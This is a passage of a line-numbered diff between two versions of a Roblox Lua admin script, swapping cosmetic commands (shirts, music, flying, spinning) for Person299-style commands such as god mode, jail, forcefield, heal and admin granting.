1278 | createscript([[script.Parent.Humanoid.MaxHealth = 999999 | |
1279 | script.Parent.Humanoid.Health = 999999 | |
1280 | - | |
1280 | + | ff = Instance.new("ForceField") |
1281 | - | if msg:lower():sub(1,6) == "shirt " then |
1281 | + | ff.Name = "God FF" |
1282 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1282 | + | ff.Parent = script.Parent |
1283 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1283 | + | function ot(hit) |
1284 | - | for i, v in pairs(plrz) do |
1284 | + | if hit.Parent ~= script.Parent then |
1285 | - | coroutine.resume(coroutine.create(function() |
1285 | + | h = hit.Parent:FindFirstChild("Humanoid") |
1286 | - | if v and v.Character then |
1286 | + | if h ~= nil then |
1287 | - | for i,v in pairs(v.Character:children()) do |
1287 | + | h.Health = 0 |
1288 | - | if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end |
1288 | + | |
1289 | h = hit.Parent:FindFirstChild("Zombie") | |
1290 | if h ~= nil then | |
1291 | - | end)) |
1291 | + | h.Health = 0 |
1292 | end end end | |
1293 | c = script.Parent:GetChildren() | |
1294 | - | |
1294 | + | for i=1,#c do |
1295 | - | if msg:lower():sub(1,6) == "pants " then |
1295 | + | if c[i].className == "Part" then |
1296 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
1296 | + | c[i].Touched:connect(ot) |
1297 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
1297 | + | c[i].Reflectance = 1 |
1298 | - | for i, v in pairs(plrz) do |
1298 | + | end end]],player[i].Character) |
1299 | - | coroutine.resume(coroutine.create(function() |
1299 | + | end end end end end |
1300 | - | if v and v.Character then |
1300 | + | |
1301 | - | for i,v in pairs(v.Character:children()) do |
1301 | + | if string.sub(msg,1,7) == "punish/" then |
1302 | - | if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end |
1302 | + | local player = findplayer(string.sub(msg,8),speaker) |
1303 | if player ~= 0 then | |
1304 | for i = 1,#player do | |
1305 | - | end)) |
1305 | + | if player[i].Character ~= nil then |
1306 | player[i].Character.Parent = game.Lighting | |
1307 | end end end end | |
1308 | - | |
1308 | + | |
1309 | - | if msg:lower():sub(1,5) == "face " then |
1309 | + | if string.sub(msg,1,9) == "unpunish/" then |
1310 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1310 | + | local player = findplayer(string.sub(msg,10),speaker) |
1311 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1311 | + | if player ~= 0 then |
1312 | - | for i, v in pairs(plrz) do |
1312 | + | for i = 1,#player do |
1313 | - | coroutine.resume(coroutine.create(function() |
1313 | + | if player[i].Character ~= nil then |
1314 | - | if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then |
1314 | + | player[i].Character.Parent = game.Workspace |
1315 | - | v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1 |
1315 | + | player[i].Character:MakeJoints() |
1316 | end end end end | |
1317 | - | end)) |
1317 | + | |
1318 | if string.sub(msg,1,3) == "ff/" then | |
1319 | local player = findplayer(string.sub(msg,4),speaker) | |
1320 | - | |
1320 | + | if player ~= 0 then |
1321 | - | ------------------ |
1321 | + | for i = 1,#player do |
1322 | - | -- Fun Commands -- |
1322 | + | if player[i].Character ~= nil then |
1323 | - | ------------------ |
1323 | + | local ff = Instance.new("ForceField") |
1324 | - | if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then |
1324 | + | ff.Parent = player[i].Character |
1325 | - | |
1325 | + | end end end end |
1326 | - | if msg:lower():sub(1,8) == "swagify " then |
1326 | + | |
1327 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1327 | + | if string.sub(msg,1,5) == "unff/" then |
1328 | - | for i, v in pairs(plrz) do |
1328 | + | local player = findplayer(string.sub(msg,6),speaker) |
1329 | - | coroutine.resume(coroutine.create(function() |
1329 | + | if player ~= 0 then |
1330 | - | if v and v.Character then |
1330 | + | for i = 1,#player do |
1331 | - | for i,v in pairs(v.Character:children()) do |
1331 | + | if player[i].Character ~= nil then |
1332 | - | if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end |
1332 | + | local c = player[i].Character:GetChildren() |
1333 | - | if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end |
1333 | + | for i2 = 1,#c do |
1334 | if c[i2].className == "ForceField" then | |
1335 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
1335 | + | c[i2]:remove() |
1336 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer |
1336 | + | end end end end end end |
1337 | - | repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") |
1337 | + | |
1338 | - | local torso = plr.Character.Torso |
1338 | + | if string.sub(msg,1,9) == "sparkles/" then |
1339 | - | local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false |
1339 | + | local player = findplayer(string.sub(msg,10),speaker) |
1340 | - | p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom" |
1340 | + | if player ~= 0 then |
1341 | - | p.Size = Vector3.new(.2,.2,.2) |
1341 | + | for i = 1,#player do |
1342 | - | local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) |
1342 | + | if player[i].Character ~= nil then |
1343 | - | local motor1 = Instance.new("Motor", p) |
1343 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1344 | - | motor1.Part0 = p |
1344 | + | if torso ~= nil then |
1345 | - | motor1.Part1 = torso |
1345 | + | local sparkles = Instance.new("Sparkles") |
1346 | - | motor1.MaxVelocity = .01 |
1346 | + | sparkles.Color = Color3.new(math.random(),math.random(),math.random()) |
1347 | - | motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) |
1347 | + | sparkles.Parent = torso |
1348 | - | motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) |
1348 | + | end end end end end |
1349 | - | local wave = false |
1349 | + | |
1350 | - | repeat wait(1/44) |
1350 | + | if string.sub(msg,1,11) == "unsparkles/" then |
1351 | - | local ang = 0.1 |
1351 | + | local player = findplayer(string.sub(msg,12),speaker) |
1352 | - | local oldmag = torso.Velocity.magnitude |
1352 | + | if player ~= 0 then |
1353 | - | local mv = .002 |
1353 | + | for i = 1,#player do |
1354 | - | if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end |
1354 | + | if player[i].Character ~= nil then |
1355 | - | ang = ang + math.min(torso.Velocity.magnitude/11, .5) |
1355 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1356 | - | motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv |
1356 | + | if torso ~= nil then |
1357 | - | motor1.DesiredAngle = -ang |
1357 | + | local c = torso:GetChildren() |
1358 | - | if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end |
1358 | + | for i2 = 1,#c do |
1359 | - | repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 |
1359 | + | if c[i2].className == "Sparkles" then |
1360 | - | if torso.Velocity.magnitude < .1 then wait(.1) end |
1360 | + | c[i2]:remove() |
1361 | - | until not p or p.Parent ~= torso.Parent |
1361 | + | end end end end end end end |
1362 | - | script:Destroy() |
1362 | + | |
1363 | - | ]] cl.Parent = v.PlayerGui cl.Disabled = false |
1363 | + | if string.sub(msg,1,6) == "admin/" then |
1364 | if not disableAdmin then | |
1365 | - | end)) |
1365 | + | local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name) |
1366 | if imgettingtiredofmakingthisstupidscript == true then | |
1367 | local player = findplayer(string.sub(msg,7),speaker) | |
1368 | - | |
1368 | + | if player ~= 0 then |
1369 | - | if msg:lower():sub(1,6) == "music " then |
1369 | + | for i = 1,#player do |
1370 | - | for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end |
1370 | + | for i2 =1,#namelist do |
1371 | - | local id = msg:sub(7) |
1371 | + | if namelist[i2] == player[i].Name then |
1372 | - | local pitch = 1 |
1372 | + | variablelist[i2]:disconnect() |
1373 | - | if tostring(id):lower():find("caramell") then id = 2303479 end |
1373 | + | flist[i2]:disconnect() |
1374 | - | if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end |
1374 | + | table.remove(variablelist,i2) |
1375 | - | if tostring(id):find("rick") then id = 2027611 end |
1375 | + | table.remove(flist,i2) |
1376 | - | if tostring(id):find("halo") then id = 1034065 end |
1376 | + | table.remove(namelist,i2) |
1377 | - | if tostring(id):find("pokemon") then id = 1372261 end |
1377 | + | |
1378 | - | if tostring(id):find("cursed") then id = 1372257 end |
1378 | + | local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end) |
1379 | - | if tostring(id):find("extreme") then id = 11420933 end |
1379 | + | table.insert(namelist,player[i].Name) |
1380 | - | if tostring(id):find("awaken") then id = 27697277 end |
1380 | + | table.insert(variablelist,tfv) |
1381 | - | if tostring(id):find("alone") then id = 27697392 end |
1381 | + | local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end) |
1382 | - | if tostring(id):find("mario") then id = 1280470 end |
1382 | + | table.insert(flist,tfv) |
1383 | - | if tostring(id):find("choir") then id = 1372258 end |
1383 | + | end end end end end |
1384 | - | if tostring(id):find("chrono") then id = 1280463 end |
1384 | + | |
1385 | - | if tostring(id):find("dotr") then id = 11420922 end |
1385 | + | if string.sub(msg,1,8) == "unadmin/" then |
1386 | - | if tostring(id):find("entertain") then id = 27697267 end |
1386 | + | if not disableAdmin then |
1387 | - | if tostring(id):find("fantasy") then id = 1280473 end |
1387 | + | local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name) |
1388 | - | if tostring(id):find("final") then id = 1280414 end |
1388 | + | if imgettingtiredofmakingthisstupidscript == true then |
1389 | - | if tostring(id):find("emblem") then id = 1372259 end |
1389 | + | local player = findplayer(string.sub(msg,9),speaker) |
1390 | - | if tostring(id):find("flight") then id = 27697719 end |
1390 | + | if player ~= 0 then |
1391 | - | if tostring(id):find("banjo") then id = 27697298 end |
1391 | + | for i = 1,#player do |
1392 | - | if tostring(id):find("gothic") then id = 27697743 end |
1392 | + | local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) |
1393 | - | if tostring(id):find("hiphop") then id = 27697735 end |
1393 | + | if imgettingtiredofmakingthisstupidscript == false then |
1394 | - | if tostring(id):find("intro") then id = 27697707 end |
1394 | + | for i2 =1,#namelist do |
1395 | - | if tostring(id):find("mule") then id = 1077604 end |
1395 | + | if namelist[i2] == player[i].Name then |
1396 | - | if tostring(id):find("film") then id = 27697713 end |
1396 | + | variablelist[i2]:disconnect() |
1397 | - | if tostring(id):find("nezz") then id = 8610025 end |
1397 | + | table.remove(variablelist,i2) |
1398 | - | if tostring(id):find("angel") then id = 1372260 end |
1398 | + | flist[i2]:disconnect() |
1399 | - | if tostring(id):find("resist") then id = 27697234 end |
1399 | + | table.remove(flist,i2) |
1400 | - | if tostring(id):find("schala") then id = 5985787 end |
1400 | + | table.remove(namelist,i2) |
1401 | - | if tostring(id):find("organ") then id = 11231513 end |
1401 | + | end end end end end end end end |
1402 | - | if tostring(id):find("tunnel") then id = 9650822 end |
1402 | + | |
1403 | - | if tostring(id):find("spanish") then id = 5982975 end |
1403 | + | if string.sub(msg,1,5) == "heal/" then |
1404 | - | if tostring(id):find("venom") then id = 1372262 end |
1404 | + | local player = findplayer(string.sub(msg,6),speaker) |
1405 | - | if tostring(id):find("wind") then id = 1015394 end |
1405 | + | if player ~= 0 then |
1406 | - | if tostring(id):find("guitar") then id = 5986151 end |
1406 | + | for i = 1,#player do |
1407 | - | local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying |
1407 | + | if player[i].Character ~= nil then |
1408 | local human = player[i].Character:FindFirstChild("Humanoid") | |
1409 | - | |
1409 | + | if human ~= nil then |
1410 | - | if msg:lower() == "stopmusic" then |
1410 | + | human.Health = human.MaxHealth |
1411 | - | for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end |
1411 | + | end end end end end |
1412 | ||
1413 | - | |
1413 | + | if string.sub(msg,1,4) == "sit/" then |
1414 | - | if msg:lower() == "musiclist" then |
1414 | + | local player = findplayer(string.sub(msg,5),speaker) |
1415 | - | if plr.PlayerGui:findFirstChild("MUSICGUI") then return end |
1415 | + | if player ~= 0 then |
1416 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui |
1416 | + | for i = 1,#player do |
1417 | - | local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"} |
1417 | + | if player[i].Character ~= nil then |
1418 | - | for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
1418 | + | local human = player[i].Character:FindFirstChild("Humanoid") |
1419 | if human ~= nil then | |
1420 | - | |
1420 | + | human.Sit = true |
1421 | - | if msg:lower():sub(1,4) == "fly " then |
1421 | + | end end end end end |
1422 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1422 | + | |
1423 | - | for i, v in pairs(plrz) do |
1423 | + | if string.sub(msg,1,5) == "jump/" then |
1424 | - | coroutine.resume(coroutine.create(function() |
1424 | + | local player = findplayer(string.sub(msg,6),speaker) |
1425 | - | if v and v:findFirstChild("PlayerGui") then |
1425 | + | if player ~= 0 then |
1426 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]] |
1426 | + | for i = 1,#player do |
1427 | - | cl.Parent = v.PlayerGui cl.Disabled = false |
1427 | + | if player[i].Character ~= nil then |
1428 | local human = player[i].Character:FindFirstChild("Humanoid") | |
1429 | - | end)) |
1429 | + | if human ~= nil then |
1430 | human.Jump = true | |
1431 | end end end end end | |
1432 | - | |
1432 | + | |
1433 | - | if msg:lower():sub(1,6) == "unfly " then |
1433 | + | if string.sub(msg,1,6) == "stand/" then |
1434 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1434 | + | local player = findplayer(string.sub(msg,7),speaker) |
1435 | - | for i, v in pairs(plrz) do |
1435 | + | if player ~= 0 then |
1436 | - | coroutine.resume(coroutine.create(function() |
1436 | + | for i = 1,#player do |
1437 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
1437 | + | if player[i].Character ~= nil then |
1438 | - | for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end |
1438 | + | local human = player[i].Character:FindFirstChild("Humanoid") |
1439 | - | for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end |
1439 | + | if human ~= nil then |
1440 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
1440 | + | human.Sit = false |
1441 | end end end end end | |
1442 | - | end)) |
1442 | + | |
1443 | if string.sub(msg,1,5) == "jail/" then | |
1444 | local player = findplayer(string.sub(msg,6),speaker) | |
1445 | - | |
1445 | + | if player ~= 0 then |
1446 | - | if msg:lower() == "disco" then |
1446 | + | for i = 1,#player do |
1447 | - | for i, v in pairs(lobjs) do v:Destroy() end |
1447 | + | if player[i].Character ~= nil then |
1448 | - | local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) |
1448 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1449 | - | game.Lighting.Ambient = color |
1449 | + | if torso ~= nil then |
1450 | - | game.Lighting.FogColor = color |
1450 | + | local ack = Instance.new("Model") |
1451 | - | until nil]] |
1451 | + | ack.Name = "Jail" .. player[i].Name |
1452 | - | table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false |
1452 | + | icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack |
1453 | ack.Parent = game.Workspace | |
1454 | - | |
1454 | + | ack:MoveTo(torso.Position) |
1455 | - | if msg:lower() == "flash" then |
1455 | + | end end end end end |
1456 | - | for i, v in pairs(lobjs) do v:Destroy() end |
1456 | + | |
1457 | - | local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) |
1457 | + | if string.sub(msg,1,7) == "unjail/" then |
1458 | local player = findplayer(string.sub(msg,8),speaker) | |
1459 | - | game.Lighting.FogColor = Color3.new(1,1,1) |
1459 | + | if player ~= 0 then |
1460 | - | game.Lighting.Brightness = 1 |
1460 | + | for i = 1,#player do |
1461 | - | game.Lighting.TimeOfDay = 14 |
1461 | + | local c = game.Workspace:GetChildren() |
1462 | for i2 =1,#c do | |
1463 | - | game.Lighting.Ambient = Color3.new(0,0,0) |
1463 | + | if string.sub(c[i2].Name,1,4) == "Jail" then |
1464 | - | game.Lighting.FogColor = Color3.new(0,0,0) |
1464 | + | if string.sub(c[i2].Name,5) == player[i].Name then |
1465 | - | game.Lighting.Brightness = 0 |
1465 | + | c[i2]:remove() |
1466 | - | game.Lighting.TimeOfDay = 0 |
1466 | + | end end end end end end |
1467 | - | until nil]] |
1467 | + | |
1468 | - | table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false |
1468 | + | if string.sub(msg,1,12) == "removetools/" then |
1469 | local player = findplayer(string.sub(msg,13),speaker) | |
1470 | - | |
1470 | + | if player ~= 0 then |
1471 | - | if msg:lower():sub(1,5) == "spin " then |
1471 | + | for i = 1,#player do |
1472 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1472 | + | local c = player[i].Backpack:GetChildren() |
1473 | - | for i, v in pairs(plrz) do |
1473 | + | for i =1,#c do |
1474 | - | coroutine.resume(coroutine.create(function() |
1474 | + | c[i]:remove() |
1475 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1475 | + | end end end end |
1476 | - | for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end |
1476 | + | |
1477 | - | local torso = v.Character:findFirstChild("Torso") |
1477 | + | if string.sub(msg,1,10) == "givetools/" then |
1478 | - | local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg) |
1478 | + | local player = findplayer(string.sub(msg,11),speaker) |
1479 | - | repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0) |
1479 | + | if player ~= 0 then |
1480 | - | until not bg or bg.Parent ~= torso |
1480 | + | for i = 1,#player do |
1481 | local c = game.StarterPack:GetChildren() | |
1482 | - | end)) |
1482 | + | for i =1,#c do |
1483 | c[i]:clone().Parent = player[i].Backpack | |
1484 | end end end end | |
1485 | - | |
1485 | + | |
1486 | - | if msg:lower():sub(1,7) == "unspin " then |
1486 | + | if string.sub(msg,1,11) == "givebtools/" then |
1487 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1487 | + | local player = findplayer(string.sub(msg,12),speaker) |
1488 | - | for i, v in pairs(plrz) do |
1488 | + | if player ~= 0 then |
1489 | - | coroutine.resume(coroutine.create(function() |
1489 | + | for i = 1,#player do |
1490 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1490 | + | local a = Instance.new("HopperBin") |
1491 | - | for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end |
1491 | + | a.BinType = "GameTool" |
1492 | a.Parent = player[i].Backpack | |
1493 | - | end)) |
1493 | + | local a = Instance.new("HopperBin") |
1494 | a.BinType = "Clone" | |
1495 | a.Parent = player[i].Backpack | |
1496 | - | |
1496 | + | local a = Instance.new("HopperBin") |
1497 | - | if msg:lower():sub(1,4) == "dog " then |
1497 | + | a.BinType = "Hammer" |
1498 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1498 | + | a.Parent = player[i].Backpack |
1499 | - | for i, v in pairs(plrz) do |
1499 | + | end end end |
1500 | - | coroutine.resume(coroutine.create(function() |
1500 | + | |
1501 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1501 | + | if string.sub(msg,1,9) == "unshield/" then |
1502 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1502 | + | local player = findplayer(string.sub(msg,10),speaker) |
1503 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1503 | + | if player ~= 0 then |
1504 | - | v.Character.Torso.Transparency = 1 |
1504 | + | for i = 1,#player do |
1505 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1505 | + | if player[i].Character ~= nil then |
1506 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0) |
1506 | + | local shield = player[i].Character:FindFirstChild("Weird Ball Thingy") |
1507 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0) |
1507 | + | if shield ~= nil then |
1508 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0) |
1508 | + | shield:remove() |
1509 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0) |
1509 | + | end end end end end |
